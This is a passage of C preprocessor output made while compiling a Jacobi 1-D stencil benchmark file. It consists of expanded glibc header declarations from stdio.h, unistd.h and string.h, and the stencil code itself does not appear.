extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 9 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
# 1 "/usr/include/unistd.h" 1 3 4
# 27 "/usr/include/unistd.h" 3 4
# 202 "/usr/include/unistd.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/posix_opt.h" 1 3 4
# 203 "/usr/include/unistd.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/environments.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/environments.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/environments.h" 2 3 4
# 207 "/usr/include/unistd.h" 2 3 4
# 226 "/usr/include/unistd.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 227 "/usr/include/unistd.h" 2 3 4
typedef __gid_t gid_t;
typedef __uid_t uid_t;
# 255 "/usr/include/unistd.h" 3 4
typedef __useconds_t useconds_t;
typedef __pid_t pid_t;
typedef __intptr_t intptr_t;
typedef __socklen_t socklen_t;
# 287 "/usr/include/unistd.h" 3 4
extern int access (const char *__name, int __type) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 304 "/usr/include/unistd.h" 3 4
extern int faccessat (int __fd, const char *__file, int __type, int __flag)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ;
# 334 "/usr/include/unistd.h" 3 4
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __attribute__ ((__nothrow__ , __leaf__));
# 353 "/usr/include/unistd.h" 3 4
extern int close (int __fd);
extern ssize_t read (int __fd, void *__buf, size_t __nbytes) ;
extern ssize_t write (int __fd, const void *__buf, size_t __n) ;
# 376 "/usr/include/unistd.h" 3 4
extern ssize_t pread (int __fd, void *__buf, size_t __nbytes,
__off_t __offset) ;
extern ssize_t pwrite (int __fd, const void *__buf, size_t __n,
__off_t __offset) ;
# 417 "/usr/include/unistd.h" 3 4
extern int pipe (int __pipedes[2]) __attribute__ ((__nothrow__ , __leaf__)) ;
# 432 "/usr/include/unistd.h" 3 4
extern unsigned int alarm (unsigned int __seconds) __attribute__ ((__nothrow__ , __leaf__));
# 444 "/usr/include/unistd.h" 3 4
extern unsigned int sleep (unsigned int __seconds);
extern __useconds_t ualarm (__useconds_t __value, __useconds_t __interval)
__attribute__ ((__nothrow__ , __leaf__));
extern int usleep (__useconds_t __useconds);
# 469 "/usr/include/unistd.h" 3 4
extern int pause (void);
extern int chown (const char *__file, __uid_t __owner, __gid_t __group)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int fchown (int __fd, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int lchown (const char *__file, __uid_t __owner, __gid_t __group)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int fchownat (int __fd, const char *__file, __uid_t __owner,
__gid_t __group, int __flag)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ;
extern int chdir (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int fchdir (int __fd) __attribute__ ((__nothrow__ , __leaf__)) ;
# 511 "/usr/include/unistd.h" 3 4
extern char *getcwd (char *__buf, size_t __size) __attribute__ ((__nothrow__ , __leaf__)) ;
# 525 "/usr/include/unistd.h" 3 4
extern char *getwd (char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) ;
extern int dup (int __fd) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int dup2 (int __fd, int __fd2) __attribute__ ((__nothrow__ , __leaf__));
# 543 "/usr/include/unistd.h" 3 4
extern char **__environ;
extern int execve (const char *__path, char *const __argv[],
char *const __envp[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int fexecve (int __fd, char *const __argv[], char *const __envp[])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int execv (const char *__path, char *const __argv[])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int execle (const char *__path, const char *__arg, ...)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int execl (const char *__path, const char *__arg, ...)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int execvp (const char *__file, char *const __argv[])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int execlp (const char *__file, const char *__arg, ...)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 598 "/usr/include/unistd.h" 3 4
extern int nice (int __inc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void _exit (int __status) __attribute__ ((__noreturn__));
# 1 "/usr/include/x86_64-linux-gnu/bits/confname.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/confname.h" 3 4
enum
{
_PC_LINK_MAX,
_PC_MAX_CANON,
_PC_MAX_INPUT,
_PC_NAME_MAX,
_PC_PATH_MAX,
_PC_PIPE_BUF,
_PC_CHOWN_RESTRICTED,
_PC_NO_TRUNC,
_PC_VDISABLE,
_PC_SYNC_IO,
_PC_ASYNC_IO,
_PC_PRIO_IO,
_PC_SOCK_MAXBUF,
_PC_FILESIZEBITS,
_PC_REC_INCR_XFER_SIZE,
_PC_REC_MAX_XFER_SIZE,
_PC_REC_MIN_XFER_SIZE,
_PC_REC_XFER_ALIGN,
_PC_ALLOC_SIZE_MIN,
_PC_SYMLINK_MAX,
_PC_2_SYMLINKS
};
enum
{
_SC_ARG_MAX,
_SC_CHILD_MAX,
_SC_CLK_TCK,
_SC_NGROUPS_MAX,
_SC_OPEN_MAX,
_SC_STREAM_MAX,
_SC_TZNAME_MAX,
_SC_JOB_CONTROL,
_SC_SAVED_IDS,
_SC_REALTIME_SIGNALS,
_SC_PRIORITY_SCHEDULING,
_SC_TIMERS,
_SC_ASYNCHRONOUS_IO,
_SC_PRIORITIZED_IO,
_SC_SYNCHRONIZED_IO,
_SC_FSYNC,
_SC_MAPPED_FILES,
_SC_MEMLOCK,
_SC_MEMLOCK_RANGE,
_SC_MEMORY_PROTECTION,
_SC_MESSAGE_PASSING,
_SC_SEMAPHORES,
_SC_SHARED_MEMORY_OBJECTS,
_SC_AIO_LISTIO_MAX,
_SC_AIO_MAX,
_SC_AIO_PRIO_DELTA_MAX,
_SC_DELAYTIMER_MAX,
_SC_MQ_OPEN_MAX,
_SC_MQ_PRIO_MAX,
_SC_VERSION,
_SC_PAGESIZE,
_SC_RTSIG_MAX,
_SC_SEM_NSEMS_MAX,
_SC_SEM_VALUE_MAX,
_SC_SIGQUEUE_MAX,
_SC_TIMER_MAX,
_SC_BC_BASE_MAX,
_SC_BC_DIM_MAX,
_SC_BC_SCALE_MAX,
_SC_BC_STRING_MAX,
_SC_COLL_WEIGHTS_MAX,
_SC_EQUIV_CLASS_MAX,
_SC_EXPR_NEST_MAX,
_SC_LINE_MAX,
_SC_RE_DUP_MAX,
_SC_CHARCLASS_NAME_MAX,
_SC_2_VERSION,
_SC_2_C_BIND,
_SC_2_C_DEV,
_SC_2_FORT_DEV,
_SC_2_FORT_RUN,
_SC_2_SW_DEV,
_SC_2_LOCALEDEF,
_SC_PII,
_SC_PII_XTI,
_SC_PII_SOCKET,
_SC_PII_INTERNET,
_SC_PII_OSI,
_SC_POLL,
_SC_SELECT,
_SC_UIO_MAXIOV,
_SC_IOV_MAX = _SC_UIO_MAXIOV,
_SC_PII_INTERNET_STREAM,
_SC_PII_INTERNET_DGRAM,
_SC_PII_OSI_COTS,
_SC_PII_OSI_CLTS,
_SC_PII_OSI_M,
_SC_T_IOV_MAX,
_SC_THREADS,
_SC_THREAD_SAFE_FUNCTIONS,
_SC_GETGR_R_SIZE_MAX,
_SC_GETPW_R_SIZE_MAX,
_SC_LOGIN_NAME_MAX,
_SC_TTY_NAME_MAX,
_SC_THREAD_DESTRUCTOR_ITERATIONS,
_SC_THREAD_KEYS_MAX,
_SC_THREAD_STACK_MIN,
_SC_THREAD_THREADS_MAX,
_SC_THREAD_ATTR_STACKADDR,
_SC_THREAD_ATTR_STACKSIZE,
_SC_THREAD_PRIORITY_SCHEDULING,
_SC_THREAD_PRIO_INHERIT,
_SC_THREAD_PRIO_PROTECT,
_SC_THREAD_PROCESS_SHARED,
_SC_NPROCESSORS_CONF,
_SC_NPROCESSORS_ONLN,
_SC_PHYS_PAGES,
_SC_AVPHYS_PAGES,
_SC_ATEXIT_MAX,
_SC_PASS_MAX,
_SC_XOPEN_VERSION,
_SC_XOPEN_XCU_VERSION,
_SC_XOPEN_UNIX,
_SC_XOPEN_CRYPT,
_SC_XOPEN_ENH_I18N,
_SC_XOPEN_SHM,
_SC_2_CHAR_TERM,
_SC_2_C_VERSION,
_SC_2_UPE,
_SC_XOPEN_XPG2,
_SC_XOPEN_XPG3,
_SC_XOPEN_XPG4,
_SC_CHAR_BIT,
_SC_CHAR_MAX,
_SC_CHAR_MIN,
_SC_INT_MAX,
_SC_INT_MIN,
_SC_LONG_BIT,
_SC_WORD_BIT,
_SC_MB_LEN_MAX,
_SC_NZERO,
_SC_SSIZE_MAX,
_SC_SCHAR_MAX,
_SC_SCHAR_MIN,
_SC_SHRT_MAX,
_SC_SHRT_MIN,
_SC_UCHAR_MAX,
_SC_UINT_MAX,
_SC_ULONG_MAX,
_SC_USHRT_MAX,
_SC_NL_ARGMAX,
_SC_NL_LANGMAX,
_SC_NL_MSGMAX,
_SC_NL_NMAX,
_SC_NL_SETMAX,
_SC_NL_TEXTMAX,
_SC_XBS5_ILP32_OFF32,
_SC_XBS5_ILP32_OFFBIG,
_SC_XBS5_LP64_OFF64,
_SC_XBS5_LPBIG_OFFBIG,
_SC_XOPEN_LEGACY,
_SC_XOPEN_REALTIME,
_SC_XOPEN_REALTIME_THREADS,
_SC_ADVISORY_INFO,
_SC_BARRIERS,
_SC_BASE,
_SC_C_LANG_SUPPORT,
_SC_C_LANG_SUPPORT_R,
_SC_CLOCK_SELECTION,
_SC_CPUTIME,
_SC_THREAD_CPUTIME,
_SC_DEVICE_IO,
_SC_DEVICE_SPECIFIC,
_SC_DEVICE_SPECIFIC_R,
_SC_FD_MGMT,
_SC_FIFO,
_SC_PIPE,
_SC_FILE_ATTRIBUTES,
_SC_FILE_LOCKING,
_SC_FILE_SYSTEM,
_SC_MONOTONIC_CLOCK,
_SC_MULTI_PROCESS,
_SC_SINGLE_PROCESS,
_SC_NETWORKING,
_SC_READER_WRITER_LOCKS,
_SC_SPIN_LOCKS,
_SC_REGEXP,
_SC_REGEX_VERSION,
_SC_SHELL,
_SC_SIGNALS,
_SC_SPAWN,
_SC_SPORADIC_SERVER,
_SC_THREAD_SPORADIC_SERVER,
_SC_SYSTEM_DATABASE,
_SC_SYSTEM_DATABASE_R,
_SC_TIMEOUTS,
_SC_TYPED_MEMORY_OBJECTS,
_SC_USER_GROUPS,
_SC_USER_GROUPS_R,
_SC_2_PBS,
_SC_2_PBS_ACCOUNTING,
_SC_2_PBS_LOCATE,
_SC_2_PBS_MESSAGE,
_SC_2_PBS_TRACK,
_SC_SYMLOOP_MAX,
_SC_STREAMS,
_SC_2_PBS_CHECKPOINT,
_SC_V6_ILP32_OFF32,
_SC_V6_ILP32_OFFBIG,
_SC_V6_LP64_OFF64,
_SC_V6_LPBIG_OFFBIG,
_SC_HOST_NAME_MAX,
_SC_TRACE,
_SC_TRACE_EVENT_FILTER,
_SC_TRACE_INHERIT,
_SC_TRACE_LOG,
_SC_LEVEL1_ICACHE_SIZE,
_SC_LEVEL1_ICACHE_ASSOC,
_SC_LEVEL1_ICACHE_LINESIZE,
_SC_LEVEL1_DCACHE_SIZE,
_SC_LEVEL1_DCACHE_ASSOC,
_SC_LEVEL1_DCACHE_LINESIZE,
_SC_LEVEL2_CACHE_SIZE,
_SC_LEVEL2_CACHE_ASSOC,
_SC_LEVEL2_CACHE_LINESIZE,
_SC_LEVEL3_CACHE_SIZE,
_SC_LEVEL3_CACHE_ASSOC,
_SC_LEVEL3_CACHE_LINESIZE,
_SC_LEVEL4_CACHE_SIZE,
_SC_LEVEL4_CACHE_ASSOC,
_SC_LEVEL4_CACHE_LINESIZE,
_SC_IPV6 = _SC_LEVEL1_ICACHE_SIZE + 50,
_SC_RAW_SOCKETS,
_SC_V7_ILP32_OFF32,
_SC_V7_ILP32_OFFBIG,
_SC_V7_LP64_OFF64,
_SC_V7_LPBIG_OFFBIG,
_SC_SS_REPL_MAX,
_SC_TRACE_EVENT_NAME_MAX,
_SC_TRACE_NAME_MAX,
_SC_TRACE_SYS_MAX,
_SC_TRACE_USER_EVENT_MAX,
_SC_XOPEN_STREAMS,
_SC_THREAD_ROBUST_PRIO_INHERIT,
_SC_THREAD_ROBUST_PRIO_PROTECT
};
enum
{
_CS_PATH,
_CS_V6_WIDTH_RESTRICTED_ENVS,
_CS_GNU_LIBC_VERSION,
_CS_GNU_LIBPTHREAD_VERSION,
_CS_V5_WIDTH_RESTRICTED_ENVS,
_CS_V7_WIDTH_RESTRICTED_ENVS,
_CS_LFS_CFLAGS = 1000,
_CS_LFS_LDFLAGS,
_CS_LFS_LIBS,
_CS_LFS_LINTFLAGS,
_CS_LFS64_CFLAGS,
_CS_LFS64_LDFLAGS,
_CS_LFS64_LIBS,
_CS_LFS64_LINTFLAGS,
_CS_XBS5_ILP32_OFF32_CFLAGS = 1100,
_CS_XBS5_ILP32_OFF32_LDFLAGS,
_CS_XBS5_ILP32_OFF32_LIBS,
_CS_XBS5_ILP32_OFF32_LINTFLAGS,
_CS_XBS5_ILP32_OFFBIG_CFLAGS,
_CS_XBS5_ILP32_OFFBIG_LDFLAGS,
_CS_XBS5_ILP32_OFFBIG_LIBS,
_CS_XBS5_ILP32_OFFBIG_LINTFLAGS,
_CS_XBS5_LP64_OFF64_CFLAGS,
_CS_XBS5_LP64_OFF64_LDFLAGS,
_CS_XBS5_LP64_OFF64_LIBS,
_CS_XBS5_LP64_OFF64_LINTFLAGS,
_CS_XBS5_LPBIG_OFFBIG_CFLAGS,
_CS_XBS5_LPBIG_OFFBIG_LDFLAGS,
_CS_XBS5_LPBIG_OFFBIG_LIBS,
_CS_XBS5_LPBIG_OFFBIG_LINTFLAGS,
_CS_POSIX_V6_ILP32_OFF32_CFLAGS,
_CS_POSIX_V6_ILP32_OFF32_LDFLAGS,
_CS_POSIX_V6_ILP32_OFF32_LIBS,
_CS_POSIX_V6_ILP32_OFF32_LINTFLAGS,
_CS_POSIX_V6_ILP32_OFFBIG_CFLAGS,
_CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS,
_CS_POSIX_V6_ILP32_OFFBIG_LIBS,
_CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS,
_CS_POSIX_V6_LP64_OFF64_CFLAGS,
_CS_POSIX_V6_LP64_OFF64_LDFLAGS,
_CS_POSIX_V6_LP64_OFF64_LIBS,
_CS_POSIX_V6_LP64_OFF64_LINTFLAGS,
_CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS,
_CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS,
_CS_POSIX_V6_LPBIG_OFFBIG_LIBS,
_CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS,
_CS_POSIX_V7_ILP32_OFF32_CFLAGS,
_CS_POSIX_V7_ILP32_OFF32_LDFLAGS,
_CS_POSIX_V7_ILP32_OFF32_LIBS,
_CS_POSIX_V7_ILP32_OFF32_LINTFLAGS,
_CS_POSIX_V7_ILP32_OFFBIG_CFLAGS,
_CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS,
_CS_POSIX_V7_ILP32_OFFBIG_LIBS,
_CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS,
_CS_POSIX_V7_LP64_OFF64_CFLAGS,
_CS_POSIX_V7_LP64_OFF64_LDFLAGS,
_CS_POSIX_V7_LP64_OFF64_LIBS,
_CS_POSIX_V7_LP64_OFF64_LINTFLAGS,
_CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS,
_CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS,
_CS_POSIX_V7_LPBIG_OFFBIG_LIBS,
_CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS,
_CS_V6_ENV,
_CS_V7_ENV
};
# 610 "/usr/include/unistd.h" 2 3 4
extern long int pathconf (const char *__path, int __name)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int fpathconf (int __fd, int __name) __attribute__ ((__nothrow__ , __leaf__));
extern long int sysconf (int __name) __attribute__ ((__nothrow__ , __leaf__));
extern size_t confstr (int __name, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t getpid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t getppid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t getpgrp (void) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t __getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));
extern int setpgid (__pid_t __pid, __pid_t __pgid) __attribute__ ((__nothrow__ , __leaf__));
# 660 "/usr/include/unistd.h" 3 4
extern int setpgrp (void) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t setsid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __pid_t getsid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));
extern __uid_t getuid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __uid_t geteuid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __gid_t getgid (void) __attribute__ ((__nothrow__ , __leaf__));
extern __gid_t getegid (void) __attribute__ ((__nothrow__ , __leaf__));
extern int getgroups (int __size, __gid_t __list[]) __attribute__ ((__nothrow__ , __leaf__)) ;
# 700 "/usr/include/unistd.h" 3 4
extern int setuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int setreuid (__uid_t __ruid, __uid_t __euid) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int seteuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int setgid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int setregid (__gid_t __rgid, __gid_t __egid) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int setegid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)) ;
# 756 "/usr/include/unistd.h" 3 4
extern __pid_t fork (void) __attribute__ ((__nothrow__));
extern __pid_t vfork (void) __attribute__ ((__nothrow__ , __leaf__));
extern char *ttyname (int __fd) __attribute__ ((__nothrow__ , __leaf__));
extern int ttyname_r (int __fd, char *__buf, size_t __buflen)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ;
extern int isatty (int __fd) __attribute__ ((__nothrow__ , __leaf__));
extern int ttyslot (void) __attribute__ ((__nothrow__ , __leaf__));
extern int link (const char *__from, const char *__to)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ;
extern int linkat (int __fromfd, const char *__from, int __tofd,
const char *__to, int __flags)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))) ;
extern int symlink (const char *__from, const char *__to)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ;
extern ssize_t readlink (const char *__restrict __path,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ;
extern int symlinkat (const char *__from, int __tofd,
const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 3))) ;
extern ssize_t readlinkat (int __fd, const char *__restrict __path,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) ;
extern int unlink (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int unlinkat (int __fd, const char *__name, int __flag)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int rmdir (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern __pid_t tcgetpgrp (int __fd) __attribute__ ((__nothrow__ , __leaf__));
extern int tcsetpgrp (int __fd, __pid_t __pgrp_id) __attribute__ ((__nothrow__ , __leaf__));
extern char *getlogin (void);
extern int getlogin_r (char *__name, size_t __name_len) __attribute__ ((__nonnull__ (1)));
extern int setlogin (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4
extern char *optarg;
# 50 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4
extern int optind;
extern int opterr;
extern int optopt;
# 91 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4
extern int getopt (int ___argc, char *const *___argv, const char *__shortopts)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3)));
# 28 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 2 3 4
# 49 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 3 4
# 870 "/usr/include/unistd.h" 2 3 4
extern int gethostname (char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int sethostname (const char *__name, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int sethostid (long int __id) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int getdomainname (char *__name, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int setdomainname (const char *__name, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int vhangup (void) __attribute__ ((__nothrow__ , __leaf__));
extern int revoke (const char *__file) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int profil (unsigned short int *__sample_buffer, size_t __size,
size_t __offset, unsigned int __scale)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int acct (const char *__name) __attribute__ ((__nothrow__ , __leaf__));
extern char *getusershell (void) __attribute__ ((__nothrow__ , __leaf__));
extern void endusershell (void) __attribute__ ((__nothrow__ , __leaf__));
extern void setusershell (void) __attribute__ ((__nothrow__ , __leaf__));
extern int daemon (int __nochdir, int __noclose) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int chroot (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern char *getpass (const char *__prompt) __attribute__ ((__nonnull__ (1)));
extern int fsync (int __fd);
# 967 "/usr/include/unistd.h" 3 4
extern long int gethostid (void);
extern void sync (void) __attribute__ ((__nothrow__ , __leaf__));
extern int getpagesize (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int getdtablesize (void) __attribute__ ((__nothrow__ , __leaf__));
# 991 "/usr/include/unistd.h" 3 4
extern int truncate (const char *__file, __off_t __length)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 1014 "/usr/include/unistd.h" 3 4
extern int ftruncate (int __fd, __off_t __length) __attribute__ ((__nothrow__ , __leaf__)) ;
# 1035 "/usr/include/unistd.h" 3 4
extern int brk (void *__addr) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void *sbrk (intptr_t __delta) __attribute__ ((__nothrow__ , __leaf__));
# 1056 "/usr/include/unistd.h" 3 4
extern long int syscall (long int __sysno, ...) __attribute__ ((__nothrow__ , __leaf__));
# 1079 "/usr/include/unistd.h" 3 4
extern int lockf (int __fd, int __cmd, __off_t __len) ;
# 1115 "/usr/include/unistd.h" 3 4
extern int fdatasync (int __fildes);
# 1124 "/usr/include/unistd.h" 3 4
extern char *crypt (const char *__key, const char *__salt)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 1161 "/usr/include/unistd.h" 3 4
int getentropy (void *__buffer, size_t __length) ;
# 1170 "/usr/include/unistd.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/unistd_ext.h" 1 3 4
# 1171 "/usr/include/unistd.h" 2 3 4
# 10 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
# 1 "/usr/include/string.h" 1 3 4
# 26 "/usr/include/string.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/string.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/string.h" 2 3 4
# 43 "/usr/include/string.h" 3 4
extern void *memcpy (void *__restrict __dest, const void *__restrict __src,
size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *memmove (void *__dest, const void *__src, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *memccpy (void *__restrict __dest, const void *__restrict __src,
int __c, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *memset (void *__s, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int memcmp (const void *__s1, const void *__s2, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 91 "/usr/include/string.h" 3 4
extern void *memchr (const void *__s, int __c, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 122 "/usr/include/string.h" 3 4
extern char *strcpy (char *__restrict __dest, const char *__restrict __src)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *strncpy (char *__restrict __dest,
const char *__restrict __src, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *strcat (char *__restrict __dest, const char *__restrict __src)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *strncat (char *__restrict __dest, const char *__restrict __src,
size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int strcmp (const char *__s1, const char *__s2)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern int strncmp (const char *__s1, const char *__s2, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern int strcoll (const char *__s1, const char *__s2)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern size_t strxfrm (char *__restrict __dest,
const char *__restrict __src, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
# 1 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 3 4
